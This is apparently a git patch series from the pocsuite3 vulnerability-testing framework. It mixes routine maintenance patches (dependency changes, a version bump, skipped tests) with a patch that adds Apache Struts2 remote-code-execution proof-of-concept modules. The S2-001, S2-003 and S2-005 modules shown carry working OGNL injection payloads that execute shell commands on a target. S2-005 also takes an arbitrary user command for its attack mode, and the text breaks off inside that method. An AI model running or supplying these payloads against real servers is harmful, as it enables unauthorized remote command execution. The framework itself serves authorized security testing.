from pocsuite3.lib.core.data import logger, conf
from six.moves.xmlrpc_client import ServerProxy
from pkg_resources import parse_version
@@ -47,5 +46,5 @@ def update():
' $ unzip master.zip\n'
' $ cd pocsuite3-master\n'
' $ pip3 install -r requirements.txt\n'
- ' $ python3 setup.py install\n')
- sys.exit(-1)
+ ' $ python3 setup.py install\n'
+ )
diff --git a/pocsuite3/lib/utils/__init__.py b/pocsuite3/lib/utils/__init__.py
index af36aac5..dd48b7f5 100644
--- a/pocsuite3/lib/utils/__init__.py
+++ b/pocsuite3/lib/utils/__init__.py
@@ -286,8 +286,8 @@ def minimum_version_required(ver):
from pkg_resources import parse_version
v1, v2 = parse_version(ver), parse_version(__version__)
if v1 > v2:
- logger.error(f'The minimum version required for this PoC plugin is {ver}, '
- f'you installed {__version__}, please upgrade pocsuite3 :)')
+ logger.warning(f'The minimum version required for this PoC plugin is {ver}, '
+ f'you installed {__version__}, please consider upgrading pocsuite3.')
from pocsuite3.lib.core.data import conf
from pocsuite3.lib.core.update import update
conf.update_all = True
From 08b174926c7bb2540d79f53e9c21c1582d53d585 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Wed, 26 Jul 2023 12:59:43 -0700
Subject: [PATCH 08/27] refactor: making mmh3 an optional dependency
---
.../protocols/common/expressions/__init__.py | 22 ++++++++++++++-----
requirements.txt | 1 -
setup.py | 4 ++--
tests/test_nuclei_helper_functions.py | 4 ++--
4 files changed, 20 insertions(+), 11 deletions(-)
diff --git a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py
index 2c535172..c9afd97f 100644
--- a/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py
+++ b/pocsuite3/lib/yaml/nuclei/protocols/common/expressions/__init__.py
@@ -16,7 +16,6 @@
from typing import get_type_hints, Union
import chardet
-import mmh3 as py_mmh3
from pkg_resources import parse_version
from pocsuite3.lib.core.log import LOGGER as logger
from pocsuite3.lib.yaml.nuclei.protocols.common.expressions.safe_eval import safe_eval
@@ -120,9 +119,11 @@ def base64_py(src: Union[bytes, str]) -> str:
Example:
Input: base64_py("Hello")
- Output: SGVsbG8=
+ Output: "SGVsbG8=\n"
"""
- return base64(src)
+ if not isinstance(src, bytes):
+ src = src.encode('utf-8')
+ return py_built_in_base64.encodebytes(src).decode('utf-8')
@auto_convert_types
@@ -373,15 +374,24 @@ def md5(inp: Union[str, bytes]) -> str:
@auto_convert_types
-def mmh3(inp: str) -> int:
+def mmh3(inp: str) -> str:
"""
Calculates the MMH3 (MurmurHash3) hash of an input
Example:
Input: mmh3("Hello")
- Output: 316307400
+ Output: "316307400"
"""
- return py_mmh3.hash(inp)
+
+ try:
+ import mmh3 as py_mmh3
+ except ImportError:
+ logger.error('Python extension for MurmurHash (MurmurHash3) is not installed. '
+ 'Reason: https://github.com/knownsec/pocsuite3/issues/359, '
+ 'You can locate the packages here: https://pypi.org/project/mmh3/')
+ return "0"
+
+ return str(py_mmh3.hash(inp))
def print_debug(*args) -> None:
diff --git a/requirements.txt b/requirements.txt
index 679d11c0..d8562b3d 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -14,4 +14,3 @@ pycryptodomex >= 3.9.0
dacite >= 1.6.0
PyYAML >= 6.0
lxml >= 4.6.0
-mmh3 >= 3.0.0
diff --git a/setup.py b/setup.py
index d8afe8a4..7764fafa 100644
--- a/setup.py
+++ b/setup.py
@@ -57,12 +57,12 @@ def find_packages(where='.'):
"dacite",
"PyYAML",
"lxml",
- "mmh3"
],
extras_require={
'complete': [
'pyOpenSSL',
- 'jq'
+ 'jq',
+ 'mmh3'
],
}
)
diff --git a/tests/test_nuclei_helper_functions.py b/tests/test_nuclei_helper_functions.py
index 00cd54ae..9bfea58a 100644
--- a/tests/test_nuclei_helper_functions.py
+++ b/tests/test_nuclei_helper_functions.py
@@ -10,7 +10,7 @@ def test_base64_decode(self):
self.assertEqual(base64_decode("SGVsbG8="), b"Hello")
def test_base64_py(self):
- self.assertEqual(base64_py("Hello"), "SGVsbG8=")
+ self.assertEqual(base64_py("Hello"), "SGVsbG8=\n")
def test_concat(self):
self.assertEqual(concat("Hello", 123, "world"), "Hello123world")
@@ -74,7 +74,7 @@ def test_md5(self):
self.assertEqual(md5("Hello"), "8b1a9953c4611296a827abf8c47804d7")
def test_mmh3(self):
- self.assertEqual(mmh3("Hello"), 316307400)
+ self.assertEqual(mmh3("Hello"), "316307400")
def test_rand_base(self):
self.assertRegex(rand_base(5, "abc"), r"[abc]{5}")
From c34ecb4bb6103d4ab9f8e3900670c933de417aab Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Wed, 26 Jul 2023 13:11:15 -0700
Subject: [PATCH 09/27] chore: bump version to 2.0.5
---
.github/workflows/release.yml | 2 +-
CHANGELOG.md | 7 +++++++
manpages/poc-console.1 | 6 +++---
manpages/pocsuite.1 | 6 +++---
pocsuite3/__init__.py | 2 +-
setup.py | 2 +-
6 files changed, 16 insertions(+), 9 deletions(-)
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 54498058..d2af82b4 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -69,7 +69,7 @@ jobs:
run: |
export VERSION=$(echo $GH_REF | sed 's:refs/tags/v::')
git config --global user.email "abcnsxyz@gmail.com"
- git config --global user.name 'Tian Qiao'
+ git config --global user.name '13ph03nix'
git commit -a -m "Version ${VERSION} (automated version bump)"
git push origin master
env:
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 0d1da182..85ded41a 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,3 +1,10 @@
+# version 2.0.5
+----------------
+* fix hook failure due to urllib3 update #368 #373
+* optimize DSL expression execution #372
+* making mmh3 an optional dependency #359
+* disable mandatory updates
+
# version 2.0.4
----------------
* Updated protocol names that are compatible with Nuclei v2.9.1
diff --git a/manpages/poc-console.1 b/manpages/poc-console.1
index 550ef9e1..47e0331f 100644
--- a/manpages/poc-console.1
+++ b/manpages/poc-console.1
@@ -2,7 +2,7 @@
.\"
.\" Nov 3, 2022
.\" Man page author:
-.\" Tian Qiao
+.\" 13ph03nix
.\"
.SH NAME
.I poc-console
@@ -31,7 +31,7 @@ is maintained at:
.I https://pocsuite.org
.PP
.SH VERSION
-This manual page documents pocsuite3 version 2.0.4
+This manual page documents pocsuite3 version 2.0.5
.SH AUTHOR
.br
(c) 2014-present by Knownsec 404 Team
@@ -46,7 +46,7 @@ redistribute this software under certain conditions. If you wish to embed
pocsuite3 technology into proprietary software, we sell alternative licenses
(contact 404-team@knownsec.com).
.PP
-Manual page started by Tian Qiao
+Manual page started by 13ph03nix
.PP
diff --git a/manpages/pocsuite.1 b/manpages/pocsuite.1
index 46347c29..c6289b44 100644
--- a/manpages/pocsuite.1
+++ b/manpages/pocsuite.1
@@ -2,7 +2,7 @@
.\"
.\" Nov 3, 2022
.\" Man page author:
-.\" Tian Qiao
+.\" 13ph03nix
.\"
.SH NAME
.I pocsuite3
@@ -289,7 +289,7 @@ is maintained at:
.I https://pocsuite.org
.PP
.SH VERSION
-This manual page documents pocsuite3 version 2.0.4
+This manual page documents pocsuite3 version 2.0.5
.SH AUTHOR
.br
(c) 2014-present by Knownsec 404 Team
@@ -304,7 +304,7 @@ redistribute this software under certain conditions. If you wish to embed
pocsuite3 technology into proprietary software, we sell alternative licenses
(contact 404-team@knownsec.com).
.PP
-Manual page started by Tian Qiao
+Manual page started by 13ph03nix
.PP
diff --git a/pocsuite3/__init__.py b/pocsuite3/__init__.py
index 37de1cea..f38c404d 100644
--- a/pocsuite3/__init__.py
+++ b/pocsuite3/__init__.py
@@ -1,5 +1,5 @@
__title__ = 'pocsuite3'
-__version__ = '2.0.4'
+__version__ = '2.0.5'
__author__ = 'Knownsec 404 Team'
__author_email__ = '404-team@knownsec.com'
__license__ = 'GPLv2'
diff --git a/setup.py b/setup.py
index 7764fafa..72058dc2 100644
--- a/setup.py
+++ b/setup.py
@@ -21,7 +21,7 @@ def find_packages(where='.'):
setup(
name='pocsuite3',
- version='2.0.4',
+ version='2.0.5',
url='https://pocsuite.org',
description='Open-sourced remote vulnerability testing framework.',
long_description=long_description,
From f3086cb8449178b5387f3bf74d55bcb413b912d2 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Wed, 26 Jul 2023 14:04:10 -0700
Subject: [PATCH 10/27] fix: flake8 error
---
pocsuite3/lib/utils/__init__.py | 2 +-
requirements.txt | 1 +
2 files changed, 2 insertions(+), 1 deletion(-)
diff --git a/pocsuite3/lib/utils/__init__.py b/pocsuite3/lib/utils/__init__.py
index dd48b7f5..375ac169 100644
--- a/pocsuite3/lib/utils/__init__.py
+++ b/pocsuite3/lib/utils/__init__.py
@@ -287,7 +287,7 @@ def minimum_version_required(ver):
v1, v2 = parse_version(ver), parse_version(__version__)
if v1 > v2:
logger.warning(f'The minimum version required for this PoC plugin is {ver}, '
- f'you installed {__version__}, please consider upgrading pocsuite3.')
+ f'you installed {__version__}, please consider upgrading pocsuite3.')
from pocsuite3.lib.core.data import conf
from pocsuite3.lib.core.update import update
conf.update_all = True
diff --git a/requirements.txt b/requirements.txt
index d8562b3d..679d11c0 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -14,3 +14,4 @@ pycryptodomex >= 3.9.0
dacite >= 1.6.0
PyYAML >= 6.0
lxml >= 4.6.0
+mmh3 >= 3.0.0
From 8ac5e5cb821ac78bfc1e4498d179dbe17cd8dacd Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Wed, 26 Jul 2023 14:10:56 -0700
Subject: [PATCH 11/27] chore: update testcase
---
tests/test_api_diy_options.py | 2 ++
tests/test_request_raw.py | 3 +++
2 files changed, 5 insertions(+)
diff --git a/tests/test_api_diy_options.py b/tests/test_api_diy_options.py
index f39c5938..e9b5cc75 100644
--- a/tests/test_api_diy_options.py
+++ b/tests/test_api_diy_options.py
@@ -27,6 +27,7 @@ def verify_result(self):
result = get_results().pop()
self.assertTrue(result.status == 'success')
+ @unittest.skip(reason='significant latency')
def test_cookie(self):
config = {
'url': ['http://httpbin.org/post'],
@@ -42,6 +43,7 @@ def test_cookie(self):
result = get_results().pop()
self.assertTrue(result.status == 'success')
+ @unittest.skip(reason='significant latency')
def test_cookie_dict_params(self):
config = {
'url': ['http://httpbin.org/post'],
diff --git a/tests/test_request_raw.py b/tests/test_request_raw.py
index 7520ff54..562f5f77 100644
--- a/tests/test_request_raw.py
+++ b/tests/test_request_raw.py
@@ -9,6 +9,7 @@ def setUp(self):
def tearDown(self):
pass
+ @unittest.skip(reason='significant latency')
def test_get(self):
raw = '''
GET /get?a=1&b=2 HTTP/1.1
@@ -24,6 +25,7 @@ def test_get(self):
r = requests.httpraw(raw)
self.assertTrue(r.json()['args'] == {'a': '1', 'b': '2'})
+ @unittest.skip(reason='significant latency')
def test_post(self):
raw = '''
POST /post HTTP/1.1
@@ -41,6 +43,7 @@ def test_post(self):
r = requests.httpraw(raw)
self.assertTrue(r.json()['data'] == 'a=1&b=2')
+ @unittest.skip(reason='significant latency')
def test_json(self):
raw = '''
POST /post HTTP/1.1
From 0338e567c7650ecd56f79f60d761455e309580a1 Mon Sep 17 00:00:00 2001
From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com>
Date: Wed, 26 Jul 2023 14:12:45 -0700
Subject: [PATCH 12/27] fix: flake8 error
---
tests/test_request_raw.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/tests/test_request_raw.py b/tests/test_request_raw.py
index 562f5f77..c276d364 100644
--- a/tests/test_request_raw.py
+++ b/tests/test_request_raw.py
@@ -37,7 +37,7 @@ def test_post(self):
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _gauges_unique_hour=1; _gauges_unique_day=1; _gauges_unique_month=1; _gauges_unique_year=1; _gauges_unique=1
-
+
a=1&b=2
'''
r = requests.httpraw(raw)
@@ -55,7 +55,7 @@ def test_json(self):
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _gauges_unique_hour=1; _gauges_unique_day=1; _gauges_unique_month=1; _gauges_unique_year=1; _gauges_unique=1
-
+
{"pocsuite":"v3.0"}
'''
r = requests.httpraw(raw)
From 399d76a3f1d6a6adfd8cf7360b2d4adc092b3e2e Mon Sep 17 00:00:00 2001
From: sunflower
Date: Wed, 13 Dec 2023 19:05:45 +0800
Subject: [PATCH 13/27] Add Struts2 exp
---
pocsuite3/pocs/.DS_Store | Bin 0 -> 6148 bytes
.../20090323_WEB_Apache_Struts2_001_RCE.py | 54 ++
...EB_Apache_Struts2_003_RCE_CVE-2008-6504.py | 53 ++
...EB_Apache_Struts2_005_RCE_CVE-2010-1870.py | 102 +++
...EB_Apache_Struts2_009_RCE_CVE-2011-3923.py | 77 +++
.../20120108_WEB_Apache_Struts2_007_RCE.py | 84 +++
...EB_Apache_Struts2_008_RCE_CVE-2012-0394.py | 74 +++
...EB_Apache_Struts2_012_RCE_CVE-2013-1965.py | 75 +++
...EB_Apache_Struts2_013_RCE_CVE-2013-1966.py | 75 +++
...EB_Apache_Struts2_015_RCE_CVE-2013-2134.py | 77 +++
...EB_Apache_Struts2_016_RCE_CVE-2013-2251.py | 100 +++
...EB_Apache_Struts2_019_RCE_CVE-2013-4316.py | 71 +++
...EB_Apache_Struts2_020_RCE_CVE-2014-0094.py | 101 +++
...EB_Apache_Struts2_025_RCE_CVE-2015-5169.py | 56 ++
..._Apache_Struts2_025_RCE_CVE-2015-5169_2.py | 69 ++
...EB_Apache_Struts2_029_RCE_CVE-2016-0785.py | 57 ++
...EB_Apache_Struts2_032_RCE_CVE-2016-3081.py | 66 ++
...EB_Apache_Struts2_033_RCE_CVE-2016-3087.py | 69 ++
...EB_Apache_Struts2_037_RCE_CVE-2016-4438.py | 55 ++
...EB_Apache_Struts2_045_RCE_CVE-2017-5638.py | 105 +++
...EB_Apache_Struts2_046_RCE_CVE-2017-7672.py | 86 +++
...EB_Apache_Struts2_048_RCE_CVE-2017-9791.py | 58 ++
...EB_Apache_Struts2_052_RCE_CVE-2017-9805.py | 122 ++++
...B_Apache_Struts2_053_RCE_CVE-2017-12611.py | 53 ++
...B_Apache_Struts2_057_RCE_CVE-2018-11776.py | 187 ++++++
...B_Apache_Struts2_061_RCE_CVE-2020-17530.py | 184 ++++++
...pache_Struts2_Log4j2_RCE_CVE-2021-44228.py | 599 ++++++++++++++++++
...B_Apache_Struts2_066_RCE_CVE-2023-50164.py | 74 +++
28 files changed, 2783 insertions(+)
create mode 100644 pocsuite3/pocs/.DS_Store
create mode 100755 pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20111001_WEB_Apache_Struts2_009_RCE_CVE-2011-3923.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_007_RCE.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20120108_WEB_Apache_Struts2_008_RCE_CVE-2012-0394.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_012_RCE_CVE-2013-1965.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_013_RCE_CVE-2013-1966.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_015_RCE_CVE-2013-2134.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20130219_WEB_Apache_Struts2_016_RCE_CVE-2013-2251.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20130612_WEB_Apache_Struts2_019_RCE_CVE-2013-4316.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20131203_WEB_Apache_Struts2_020_RCE_CVE-2014-0094.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py
create mode 100755 pocsuite3/pocs/Apache_Struts2/20211126_WEB_Apache_Struts2_Log4j2_RCE_CVE-2021-44228.py
create mode 100644 pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
diff --git a/pocsuite3/pocs/.DS_Store b/pocsuite3/pocs/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..03fa04d8453836923468ebee331423bb47829935
GIT binary patch
literal 6148
zcmeHKQA@)x5WdXmI)<_b1$_(nI&c=9h%a^OAF!eiDzkM%i?tbR>mJ6S@A`-QBmN%m
zl1v;^Uj&hH2bb@1xl72Gl4}4!wDayZKpg-aRKijfn=gdMNoS;FJ%mEfaSuJ{fDaiA
zW}?~g9~q#tTY*F9Ljbq%`TTM`#T49dnD)b1g&6l5_Twncn$0&+S|~3rRh)`bbFTe+
zHT1I}%hPr+xTM~hQgJx3gYZ1+4LkMKBb8)9l=KEVA?o%pkO{%a@3}MpIFKwJ>u`p=TLFkon9=o!zFBG9yN59nJ
zAUuQIG6T%OGy@B!Tc`Se^8NdNI*EJC05dRG42bfvf853`+1fg@IjXf1^#+xM;tGQw
kDQM_YjImUT*HN{gUy_07Su6~q2ZetGG!5J^1AofEJAT_xasU7T
literal 0
HcmV?d00001
diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
new file mode 100755
index 00000000..7e1eb084
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_001_RCE.py
@@ -0,0 +1,54 @@
+import random
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-001:影响版本Struts 2.0.0-2.0.8'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _verify(self):
+ result = {}
+ check_poc = "%25%7B{num1}%2B{num2}%7D"
+ headers = {}
+ headers['Content-Type'] = 'application/x-www-form-urlencoded'
+
+ data = "username=test&password={exp}"
+ num1 = random.randint(10000, 100000)
+ num2 = random.randint(10000, 100000)
+ poc = check_poc.format(num1=num1, num2=num2)
+ data = data.format(exp=poc)
+
+ html = requests.post(self.url, data=data, headers=headers).text
+ nn = str(num1 + num2)
+ if nn in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": data
+ }
+
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
new file mode 100755
index 00000000..320162e3
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
@@ -0,0 +1,53 @@
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-003:影响版本Struts 2.0.0-2.0.11.2'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ exec_payload = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29"
+ payload = [
+ exec_payload.format(cmd=quote("echo " + hash_str)),
+ exec_payload.format(cmd=quote("cmd.exe /c echo " + hash_str))
+ ]
+ for poc in payload:
+ r = requests.get(self.url + "?" + poc)
+ if hash_str in r.text:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": poc
+ }
+ return self.parse_output(result)
+
+ def _attack(self):
+ pass
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
new file mode 100755
index 00000000..d653a393
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
@@ -0,0 +1,102 @@
+from collections import OrderedDict
+from urllib.parse import quote
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-11-15'
+ createDate = '2023-11-15'
+ updateDate = '2023-11-15'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-005:影响版本Struts 2.0.0-2.1.8.1'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def exp(self, payload, excpayload):
+ payload2 = excpayload.format(cmd=quote(payload))
+ r = requests.get(self.url + "?" + payload2, stream=True)
+ html = list()
+ for line in r.iter_lines():
+ if b'\x00' in line:
+ break
+ line = line.decode('UTF-8')
+ html.append(line.strip())
+ html2 = '\r\n'.join(html).strip()
+ return html2
+
+ def _verify(self):
+ result = {}
+ hash_str = random_str(10)
+ exec_payload1 = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29"
+ exec_payload2 = "%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27{cmd}%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte[51020]%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29"
+
+ cmd = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for payload1 in cmd:
+ html = self.exp(payload1, exec_payload1)
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": exec_payload1
+ }
+ return self.parse_output(result)
+
+ cmd2 = [
+ "echo " + hash_str,
+ "cmd.exe /c echo " + hash_str
+ ]
+ for payload2 in cmd2:
+ html = self.exp(payload2,exec_payload2)
+ if hash_str in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD": exec_payload2
+ }
+ break
+ return self.parse_output(result)
+
+ def _attack(self):
+ command = self.get_option("command")
+ result = {}
